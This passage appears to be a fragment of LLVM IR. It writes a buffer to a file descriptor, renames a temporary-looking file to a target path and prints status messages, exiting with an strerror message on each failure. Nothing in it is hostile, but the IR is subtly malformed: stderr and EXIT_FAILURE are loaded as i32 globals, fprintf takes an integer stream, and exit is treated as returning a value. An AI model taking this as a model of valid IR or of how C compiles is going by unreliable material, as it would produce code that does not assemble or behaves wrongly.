br i1 %97, label %98, label %105
98: ; preds = %95
%99 = load i32, i32* @stderr
%100 = load i32, i32* @errno
%101 = call i8* @strerror(i32 %100)
%102 = call i32 @fprintf(i32 %99, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %101)
%103 = load i32, i32* @EXIT_FAILURE
%104 = call i32 @exit(i32 %103)
unreachable
105: ; preds = %95
%106 = sext i32 %4 to i64
%107 = getelementptr inbounds i8, i8* %28, i64 %106
%108 = sub nsw i32 %23, %4
%109 = call i64 (i32, ...) @write(i32 %66, i8* %107, i32 %108)
%110 = icmp slt i64 %109, 0
br i1 %110, label %111, label %118
111: ; preds = %105
%112 = load i32, i32* @stderr
%113 = load i32, i32* @errno
%114 = call i8* @strerror(i32 %113)
%115 = call i32 @fprintf(i32 %112, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %114)
%116 = load i32, i32* @EXIT_FAILURE
%117 = call i32 @exit(i32 %116)
unreachable
118: ; preds = %105
%119 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([31 x i8], [31 x i8]* @.str.7, i64 0, i64 0))
%120 = call i64 @rename(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.5, i64 0, i64 0), i8* %0)
%121 = icmp slt i64 %120, 0
br i1 %121, label %122, label %129
122: ; preds = %118
%123 = load i32, i32* @stderr
%124 = load i32, i32* @errno
%125 = call i8* @strerror(i32 %124)
%126 = call i32 @fprintf(i32 %123, i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.1, i64 0, i64 0), i8* %125)
%127 = load i32, i32* @EXIT_FAILURE
%128 = call i32 @exit(i32 %127)
unreachable
129: ; preds = %118
%130 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([32 x i8], [32 x i8]* @str, i64 0, i64 0))
ret void
}